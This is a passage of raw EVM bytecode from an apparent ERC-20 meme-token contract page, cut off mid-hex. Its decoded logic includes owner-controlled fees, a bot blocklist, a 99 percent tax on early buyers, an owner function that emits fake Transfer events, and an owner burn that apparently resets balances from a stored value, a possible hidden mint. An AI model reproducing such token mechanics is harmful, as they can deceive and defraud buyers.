155b80156127df57506001600160a01b03851660009081526027602052604090205460ff16155b801561280457506001600160a01b03841660009081526027602052604090205460ff16155b1561283257600f805460ff60a01b1916600160a01b179055612824612ddf565b600f805460ff60a01b191690555b6001600160a01b03851660009081526027602052604090205460019060ff168061287457506001600160a01b03851660009081526027602052604090205460ff165b1561287d575060005b60008115612c7857601454431080156128ae57506001600160a01b0387166000908152602a602052604090205460ff165b80156128d357506001600160a01b0386166000908152602a602052604090205460ff16155b80156128e157506000601854115b15612a61576001600160a01b03861660009081526015602052604090205460ff16612981576001600160a01b0386166000908152601560205260408120805460ff19166001908117909155601680549192909161293f908490613874565b90915550506040516001600160a01b03871681527f55678e47d0a699d3ab99b0184c4ff14f2246ba80522deb921aa0c8823578c44a9060200160405180910390a15b606461298e86606361383b565b6129989190613852565b9050601854601a54826129ab919061383b565b6129b59190613852565b602360008282546129c69190613874565b90915550506018546019546129db908361383b565b6129e59190613852565b602260008282546129f69190613874565b9091555050601854601b54612a0b908361383b565b612a159190613852565b60246000828254612a269190613874565b9091555050601854601c54612a3b908361383b565b612a459190613852565b60256000828254612a569190613874565b90915550612c5a9050565b6001600160a01b0386166000908152602a602052604090205460ff168015612a8b57506000601d54115b15612b4d576064601d5486612aa0919061383b565b612aaa9190613852565b9050601d54601f5482612abd919061383b565b612ac79190613852565b60236000828254612ad89190613874565b9091555050601d54601e54612aed908361383b565b612af79190613852565b60226000828254612b089190613874565b9091555050601d54602054612b1d908361383b565b612b279190613852565b60246000828254612b389190613874565b9091555050601d54602154612a3b908361383b565b6001600160a01b0387166000908152602a602052604090205460ff168015612b7757506000601854115b15612c5a57606460185486612b8c919061383b565b612b969190613852565b9050601854601a5482612ba9919061383b565b612bb39190613852565b60236000828254612bc49190613874565b9091555050601854601954612bd9908361383b565b612be39190613852565b60226000828254612bf49190613874565b9091555050601854601b54612c09908361383b565b612c139190613852565b60246000828254612c249190613874565b9091555050601854601c54612c39908361383b565b612c439190613852565b60256000828254612c549190613874565b90915550505b8015612c6b57612c6b87308361312f565b612c758186613a0b565b94505b612c8387878761312f565b50505050505050565b6001600160a01b038216612cec5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610dbe565b6001600160a01b03821660009081526020819052604090205481811015612d605760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610dbe565b81600754612d6e9190613a0b565b6001600160a01b03841660009081526020819052604081209190915560038054849290612d9c908490613a0b565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016120ef565b3060009081526020819052604081205490506000602454602254602354612e069190613874565b612e109190613874565b9050811580612e1d575080155b15612e26575050565b601054612e3490601461383b565b821115612e4c57601054612e4990601461383b565b91505b60008060028360235486612e60919061383b565b612e6a9190613852565b612e749190613852565b9050612e88612e838286613a0b565b613284565b60235447908190600090612e9e90600290613852565b612ea89087613a0b565b602254612eb5908561383b565b612ebf9190613852565b905060006002602354612ed29190613852565b612edc9088613a0b565b602454612ee9908661383b565b612ef39190613852565b9050612eff8183613874565b612f099084613a0b565b600060238190556022819055602481905560258190556012546040519295506001600160a01b031691839181818185875af1925050503d8060008114612f6b576040519150601f19603f3d011682016040523d82523d6000602084013e612f70565b606091505b50506011546040519197506001600160a01b0316904790600081818185875af1925050503d8060008114612fc0576040519150601f19603f3d011682016040523d82523d6000602084013e612fc5565b606091505b5050505050505050505050565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b8151811015610e3857826028600084848151811061304757613047613887565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555081818151811061309857613098613887565b60200260200101516001600160a01b03167f208348c2856cbb3459e7fb08ce4139a8ce344289790e895c283a96ff81780c2a846040516130dc911515815260200190565b60405180910390a2806130ee8161389d565b915050613027565b6001600160a01b0382166000908152602a60205260409020805460ff1916821515179055611cef82826133de565b600080610d08613441565b6001600160a01b0383166131555760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b03821661317b5760405162461bcd60e51b8152600401610dbe906139c8565b6001600160a01b038316600090815260208190526040902054818110156131f35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610dbe565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061322a908490613874565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161327691815260200190565b60405180910390a350505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106132b9576132b9613887565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015613312573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061333691906138ed565b8160018151811061334957613349613887565b6001600160a01b039283166020918202929092010152600e5461336f9130911684611fd7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906133a8908590600090869030904290600401613a1e565b600060405180830381600087803b1580156133c257600080fd5b505af11580156133d6573d6000803e3d6000fd5b505050505050565b6001600160a01b038216600081815260296020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6008546000906001600160a01b03161561346557506008546001600160a01b031690565b506009546001600160a01b031690565b600060208083528351808285015260005b818110156134a257858101830151858201604001528201613486565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461135057600080fd5b80356134e3816134c3565b919050565b600080604083850312156134fb57600080fd5b8235613506816134c3565b946020939093013593505050565b60006020828403121561352657600080fd5b8135613531816134c3565b9392505050565b60006020828403121561354a57600080fd5b5035919050565b60008060006060848603121561356657600080fd5b8335613571816134c3565b92506020840135613581816134c3565b929592945050506040919091013590565b801515811461135057600080fd5b80356134e381613592565b600080604083850312156135be57600080fd5b82356135c9816134c3565b915060208301356135d981613592565b809150509250929050565b6000806000604084860312156135f957600080fd5b833567ffffffffffffffff8082111561361157600080fd5b818601915086601f83011261362557600080fd5b81358181111561363457600080fd5b8760208260051b850101111561364957600080fd5b6020928301989097509590910135949350505050565b6000806000806080858703121561367557600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156136a457600080fd5b82356136af816134c3565b915060208301356135d9816134c3565b634e487b7160e01b600052604160045260246000fd5b6000806000606084860312156136ea57600080fd5b833567ffffffffffffffff8082111561370257600080fd5b818601915086601f83011261371657600080fd5b813560208282111561372a5761372a6136bf565b8160051b604051601f19603f8301168101818110868211171561374f5761374f6136bf565b60405292835281830193508481018201928a84111561376d57600080fd5b948201945b8386101561379257613783866134d8565b85529482019493820193613772565b97506137a190508882016135a0565b955050505050604084013590509250925092565b600181811c908216806137c957607f821691505b6020821081036137e957634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561380157600080fd5b5051919050565b60006020828403121561381a57600080fd5b815161353181613592565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610d0857610d08613825565b60008261386f57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610d0857610d08613825565b634e487b7160e01b600052603260045260246000fd5b6000600182016138af576138af613825565b5060010190565b6020808252601d908201527f4d757374206b656570206665657320617420323025206f72206c657373000000604082015260600190565b6000602082840312156138ff57600080fd5b8151613531816134c3565b600081518084526020808501945080840160005b838110156139435781516001600160a01b03168752958201959082019060010161391e565b509495945050505050565b848152608060208201526000613967608083018661390a565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610d0857610d08613825565b85815284602082015260a060408201526000613a3d60a083018661390a565b6001600160a01b039490941660608301525060800152939250505056fea2646970667358221220defb0ed5bf4a90d27e94a9f2f2911dc5fa427bf391e4a10a27a750d2d1c0c9c764736f6c6343000811003300000000000000000000000066e29815cdf702d3208ff3b8f0138db6c5990ad0

Deployed Bytecode

0x6080604052600436106104145760003560e01c8063715018a61161021e578063bbc0c74211610123578063e7ad9fcd116100ab578063f2fde38b1161007a578063f2fde38b14610bee578063f5648a4f14610c0e578063f637434214610c23578063f8b45b0514610c39578063fb002c9714610c4f57600080fd5b8063e7ad9fcd14610b8d578063e884f26014610bad578063ee40166e14610bc2578063f11a24d314610bd857600080fd5b8063d0d41fe1116100f2578063d0d41fe114610ae5578063d85ba06314610b05578063dd62ed3e14610b1b578063e2f4560514610b61578063e71dc3f514610b7757600080fd5b8063bbc0c74214610a65578063c024666814610a84578063c2b7bbb614610aa4578063c876d0b914610ac457600080fd5b8063a0d82dc5116101a6578063a9d3cd8a11610175578063a9d3cd8a146109c9578063adb873bd146109e9578063b62496f5146109ff578063b8eb354614610a2f578063b94279ea14610a4557600080fd5b8063a0d82dc51461095d578063a457c2d714610973578063a62068ce14610993578063a9059cbb146109a957600080fd5b80639164f9db116101ed5780639164f9db146108dc57806395d89b41146108fc5780639c3b4fdc146109115780639f5bbac3146109275780639fccce321461094757600080fd5b8063715018a614610864578063751039fc1461087957806385ecfd281461088e5780638da5cb5b146108be57600080fd5b8063395093511161032457806358881304116102ac5780636b0a894c1161027b5780636b0a894c146107c25780636ddd1713146107d8578063707789c5146107f857806370a082311461081857806370db69d61461084e57600080fd5b8063588813041461075f57806358a6d5311461077f5780635a139dd4146107965780636a486a8e146107ac57600080fd5b806346f1f5de116102f357806346f1f5de146106da57806348ae238f146106fa5780634a62bb651461071a5780634f77f6c01461073457806351f205e41461074a57600080fd5b8063395093511461066457806342966c6814610684578063452ed4f1146106a457806346cafe52146106c457600080fd5b80631c499ab0116103a7578063249ec2bb11610376578063249ec2bb146105d357806326ededb8146105f35780632e509103146106135780632e6ed7ef14610628578063313ce5671461064857600080fd5b80631c499ab0146105685780631d777856146105885780631e146da81461059e57806323b872dd146105b357600080fd5b80630f054c06116103e35780630f054c06146104ec57806310d5de531461050357806318160ddd146105335780631a8145bb1461055257600080fd5b806306fdde03146104205780630758d9241461044b578063095ea7b3146104835780630cb1d0ee146104b357600080fd5b3661041b57005b600080fd5b34801561042c57600080fd5b50610435610c65565b6040516104429190613475565b60405180910390f35b34801561045757600080fd5b50600e5461046b906001600160a01b031681565b6040516001600160a01b039091168152602001610442565b34801561048f57600080fd5b506104a361049e3660046134e8565b610cf7565b6040519015158152602001610442565b3480156104bf57600080fd5b506104a36104ce366004613514565b6001600160a01b031660009081526028602052604090205460ff1690565b3480156104f857600080fd5b50610501610d0e565b005b34801561050f57600080fd5b506104a361051e366004613514565b60296020526000908152604090205460ff1681565b34801561053f57600080fd5b506003545b604051908152602001610442565b34801561055e57600080fd5b5061054460235481565b34801561057457600080fd5b50610501610583366004613538565b610e3d565b34801561059457600080fd5b5061054460255481565b3480156105aa57600080fd5b50610501610f23565b3480156105bf57600080fd5b506104a36105ce366004613551565b610fda565b3480156105df57600080fd5b506105016105ee3660046135ab565b61109d565b3480156105ff57600080fd5b5061050161060e3660046135e4565b611143565b34801561061f57600080fd5b506105016111db565b34801561063457600080fd5b5061050161064336600461365f565b6112a1565b34801561065457600080fd5b5060405160098152602001610442565b34801561067057600080fd5b506104a361067f3660046134e8565b611302565b34801561069057600080fd5b5061050161069f366004613538565b61133e565b3480156106b057600080fd5b50600f5461046b906001600160a01b031681565b3480156106d057600080fd5b5061054460265481565b3480156106e657600080fd5b506105016106f5366004613538565b611353565b34801561070657600080fd5b506104a3610715366004613691565b61147c565b34801561072657600080fd5b506017546104a39060ff1681565b34801561074057600080fd5b50610544601e5481565b34801561075657600080fd5b50610501611662565b34801561076b57600080fd5b5061050161077a366004613538565b611750565b34801561078b57600080fd5b5060145443106104a3565b3480156107a257600080fd5b5061054460195481565b3480156107b857600080fd5b50610544601d5481565b3480156107ce57600080fd5b5061054460165481565b3480156107e457600080fd5b506017546104a39062010000900460ff1681565b34801561080457600080fd5b50610501610813366004613514565b61182c565b34801561082457600080fd5b50610544610833366004613514565b6001600160a01b031660009081526020819052604090205490565b34801561085a57600080fd5b50610544600b5481565b34801561087057600080fd5b506105016118bb565b34801561088557600080fd5b506105016118cd565b34801561089a57600080fd5b506104a36108a9366004613514565b60156020526000908152604090205460ff1681565b3480156108ca57600080fd5b506008546001600160a01b031661046b565b3480156108e857600080fd5b506105016108f7366004613538565b61190d565b34801561090857600080fd5b506104356119ea565b34801561091d57600080fd5b50610544601b5481565b34801561093357600080fd5b506105016109423660046136d5565b6119f9565b34801561095357600080fd5b5061054460245481565b34801561096957600080fd5b5061054460205481565b34801561097f57600080fd5b506104a361098e3660046134e8565b611bc3565b34801561099f57600080fd5b5061054460145481565b3480156109b557600080fd5b506104a36109c43660046134e8565b611c5c565b3480156109d557600080fd5b506105016109e43660046135ab565b611c7f565b3480156109f557600080fd5b5061054460215481565b348015610a0b57600080fd5b506104a3610a1a366004613514565b602a6020526000908152604090205460ff1681565b348015610a3b57600080fd5b50610544600c5481565b348015610a5157600080fd5b50610501610a603660046135ab565b611d2b565b348015610a7157600080fd5b506017546104a390610100900460ff1681565b348015610a9057600080fd5b50610501610a9f3660046135ab565b611d5e565b348015610ab057600080fd5b50610501610abf366004613514565b611dc5565b348015610ad057600080fd5b506017546104a3906301000000900460ff1681565b348015610af157600080fd5b50610501610b00366004613514565b611def565b348015610b1157600080fd5b5061054460185481565b348015610b2757600080fd5b50610544610b36366004613691565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b6d57600080fd5b5061054460105481565b348015610b8357600080fd5b50610544601c5481565b348015610b9957600080fd5b50610501610ba836600461365f565b611e6f565b348015610bb957600080fd5b50610501611f00565b348015610bce57600080fd5b5061054460135481565b348015610be457600080fd5b50610544601a5481565b348015610bfa57600080fd5b50610501610c09366004613514565b611f17565b348015610c1a57600080fd5b50610501611f8d565b348015610c2f57600080fd5b50610544601f5481565b348015610c4557600080fd5b50610544600d5481565b348015610c5b57600080fd5b5061054460225481565b606060048054610c74906137b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906137b5565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d04338484611fd7565b5060015b92915050565b610d166120fc565b6040516370a0823160e01b815230600482018190529060009082906370a0823190602401602060405180830381865afa158015610d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7b91906137ef565b905060008111610dc75760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610e14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e389190613808565b505050565b610e456120fc565b633b9aca006103e8610e5660035490565b610e6190600361383b565b610e6b9190613852565b610e759190613852565b811015610ed95760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610dbe565b610ee781633b9aca0061383b565b600d8190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc906020015b60405180910390a150565b610f2b6120fc565b601754610100900460ff1615610f835760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610dbe565b6017805462ffffff191662010100179055436013819055602654610fa691613874565b6014556006546007556040517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c890600090a1565b6001600160a01b038316600090815260026020526040812043905561100084848461215b565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110855760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610dbe565b6110928533858403611fd7565b506001949350505050565b6110a56120fc565b8061111857600f546001600160a01b03908116908316036111185760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610dbe565b6001600160a01b03919091166000908152602960205260409020805460ff1916911515919091179055565b61114b6120fc565b60005b828110156111d55783838281811061116857611168613887565b905060200201602081019061117d9190613514565b600f546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806111cd8161389d565b91505061114e565b50505050565b6111e36120fc565b6014601e8190556000601f81905560208190556021819055908190611209908290613874565b6112139190613874565b61121d9190613874565b601d819055601410156112425760405162461bcd60e51b8152600401610dbe906138b6565b60198080556000601a819055601b819055601c819055908190611266908290613874565b6112709190613874565b61127a9190613874565b60188190556014101561129f5760405162461bcd60e51b8152600401610dbe906138b6565b565b6112a96120fc565b6019849055601a839055601b829055601c81905580826112c98587613874565b6112d39190613874565b6112dd9190613874565b6018819055601410156111d55760405162461bcd60e51b8152600401610dbe906138b6565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d04918590611339908690613874565b611fd7565b6113466120fc565b6113503382612c8c565b50565b61135b6120fc565b620186a061136860035490565b61137390600161383b565b61137d9190613852565b8110156113ea5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610dbe565b6103e86113f660035490565b61140190600161383b565b61140b9190613852565b8111156114775760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610dbe565b601055565b60006114866120fc565b6001600160a01b0383166114dc5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610dbe565b306001600160a01b038416036115345760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610dbe565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f91906137ef565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af11580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613808565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b61166a6120fc565b6010543060009081526020819052604090205410156116f3576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610dbe565b600f805460ff60a01b1916600160a01b17905561170e612ddf565b600f805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6117586120fc565b633b9aca006103e861176960035490565b61177490600261383b565b61177e9190613852565b6117889190613852565b8110156117e95760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610dbe565b6117f781633b9aca0061383b565b600b8190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100990602001610f18565b6118346120fc565b6001600160a01b0381166118995760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b6064820152608401610dbe565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6118c36120fc565b61129f6000612fd2565b6118d56120fc565b6017805463ff000000191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6119156120fc565b633b9aca006103e861192660035490565b61193190600261383b565b61193b9190613852565b6119459190613852565b8110156119a75760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610dbe565b6119b581633b9aca0061383b565b600c8190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610f18565b606060058054610c74906137b5565b611a016120fc565b81158015611a0f5750600081115b15611bb9576040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa291906138ed565b81600081518110611ab557611ab5613887565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611ae957611ae9613887565b6001600160a01b039283166020918202929092010152600e54855191169063b6f9de95908490600090859089908390611b2457611b24613887565b6020026020010151426040518663ffffffff1660e01b8152600401611b4c949392919061394e565b6000604051808303818588803b158015611b6557600080fd5b505af1158015611b79573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d68482056882604051611baf91815260200190565b60405180910390a1505b610e388284613024565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015611c455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610dbe565b611c523385858403611fd7565b5060019392505050565b336000908152600260205260408120439055610d04611c783390565b848461215b565b611c876120fc565b600f546001600160a01b0390811690831603611ce55760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f7665640000000000006044820152606401610dbe565b611cef82826130f6565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b611d336120fc565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b611d666120fc565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b611dcd6120fc565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b611df76120fc565b6001600160a01b038116611e4d5760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610dbe565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b611e776120fc565b601e849055601f839055602082905560218190558082611e978587613874565b611ea19190613874565b611eab9190613874565b601d819055601910156111d55760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610dbe565b611f086120fc565b6017805463ff00000019169055565b611f1f6120fc565b6001600160a01b038116611f845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dbe565b61135081612fd2565b611f956120fc565b604051600090339047908381818185875af1925050503d80600081146111d5576040519150601f19603f3d011682016040523d82523d6000602084013e6111d5565b6001600160a01b0383166120395760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610dbe565b6001600160a01b03821661209a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610dbe565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b33612105613124565b6001600160a01b03161461129f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dbe565b6001600160a01b0383166121815760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b0382166121a75760405162461bcd60e51b8152600401610dbe906139c8565b600081116121f75760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610dbe565b601754610100900460ff1661228a576001600160a01b03831660009081526027602052604090205460ff168061224557506001600160a01b03821660009081526027602052604090205460ff165b61228a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610dbe565b6014541561235d576001600160a01b03831660009081526015602052604090205460ff1615806122c757506008546001600160a01b038381169116145b806122dc57506001600160a01b03821661dead145b61235d5760405162461bcd60e51b815260206004820152604660248201527f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60448201527f72206f75742065786365707420746f206f776e6572206f722064656164206164606482015265323932b9b99760d11b608482015260a401610dbe565b6017546301000000900460ff16801561239357506001600160a01b03831660009081526028602052604090205460ff1615156001145b1561244b576008546001600160a01b038381169116148015906123c45750600f546001600160a01b03848116911614155b1561244b576123d4600343613a0b565b6001600160a01b0384166000908152600260205260409020541061244b5760405162461bcd60e51b815260206004820152602860248201527f5472616e736665722044656c617920656e61626c65642e20547279206167616960448201526737103630ba32b91760c11b6064820152608401610dbe565b60175460ff1615612753576008546001600160a01b0384811691161480159061248257506008546001600160a01b03838116911614155b801561249657506001600160a01b03821615155b80156124ad57506001600160a01b03821661dead14155b80156124d257506001600160a01b03831660009081526027602052604090205460ff16155b80156124f757506001600160a01b03821660009081526027602052604090205460ff16155b15612753576001600160a01b0383166000908152602a602052604090205460ff16801561253d57506001600160a01b03821660009081526029602052604090205460ff16155b1561261957600b548111156125a55760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610dbe565b600d546001600160a01b0383166000908152602081905260409020546125cb9083613874565b11156126145760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b612753565b6001600160a01b0382166000908152602a602052604090205460ff16801561265a57506001600160a01b03831660009081526029602052604090205460ff16155b156126c457600c548111156126145760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610dbe565b6001600160a01b03821660009081526029602052604090205460ff1661275357600d546001600160a01b03831660009081526020819052604090205461270a9083613874565b11156127535760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b306000908152602081905260409020546010548110801590819061277f575060175462010000900460ff165b80156127955750600f54600160a01b900460ff16155b80156127ba57506001600160a01b0385166000908152602a602052604090205460ff16155b80156127df57506001600160a01b03851660009081526027602052604090205460ff16155b801561280457506001600160a01b03841660009081526027602052604090205460ff16155b1561283257600f805460ff60a01b1916600160a01b179055612824612ddf565b600f805460ff60a01b191690555b6001600160a01b03851660009081526027602052604090205460019060ff168061287457506001600160a01b03851660009081526027602052604090205460ff165b1561287d575060005b60008115612c7857601454431080156128ae57506001600160a01b0387166000908152602a602052604090205460ff165b80156128d357506001600160a01b0386166000908152602a602052604090205460ff16155b80156128e157506000601854115b15612a61576001600160a01b03861660009081526015602052604090205460ff16612981576001600160a01b0386166000908152601560205260408120805460ff19166001908117909155601680549192909161293f908490613874565b90915550506040516001600160a01b03871681527f55678e47d0a699d3ab99b0184c4ff14f2246ba80522deb921aa0c8823578c44a9060200160405180910390a15b606461298e86606361383b565b6129989190613852565b9050601854601a54826129ab919061383b565b6129b59190613852565b602360008282546129c69190613874565b90915550506018546019546129db908361383b565b6129e59190613852565b602260008282546129f69190613874565b9091555050601854601b54612a0b908361383b565b612a159190613852565b60246000828254612a269190613874565b9091555050601854601c54612a3b908361383b565b612a459190613852565b60256000828254612a569190613874565b90915550612c5a9050565b6001600160a01b0386166000908152602a602052604090205460ff168015612a8b57506000601d54115b15612b4d576064601d5486612aa0919061383b565b612aaa9190613852565b9050601d54601f5482612abd919061383b565b612ac79190613852565b60236000828254612ad89190613874565b9091555050601d54601e54612aed908361383b565b612af79190613852565b60226000828254612b089190613874565b9091555050601d54602054612b1d908361383b565b612b279190613852565b60246000828254612b389190613874565b9091555050601d54602154612a3b908361383b565b6001600160a01b0387166000908152602a602052604090205460ff168015612b7757506000601854115b15612c5a57606460185486612b8c919061383b565b612b969190613852565b9050601854601a5482612ba9919061383b565b612bb39190613852565b60236000828254612bc49190613874565b9091555050601854601954612bd9908361383b565b612be39190613852565b60226000828254612bf49190613874565b9091555050601854601b54612c09908361383b565b612c139190613852565b60246000828254612c249190613874565b9091555050601854601c54612c39908361383b565b612c439190613852565b60256000828254612c549190613874565b90915550505b8015612c6b57612c6b87308361312f565b612c758186613a0b565b94505b612c8387878761312f565b50505050505050565b6001600160a01b038216612cec5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610dbe565b6001600160a01b03821660009081526020819052604090205481811015612d605760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610dbe565b81600754612d6e9190613a0b565b6001600160a01b03841660009081526020819052604081209190915560038054849290612d9c908490613a0b565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016120ef565b3060009081526020819052604081205490506000602454602254602354612e069190613874565b612e109190613874565b9050811580612e1d575080155b15612e26575050565b601054612e3490601461383b565b821115612e4c57601054612e4990601461383b565b91505b60008060028360235486612e60919061383b565b612e6a9190613852565b612e749190613852565b9050612e88612e838286613a0b565b613284565b60235447908190600090612e9e90600290613852565b612ea89087613a0b565b602254612eb5908561383b565b612ebf9190613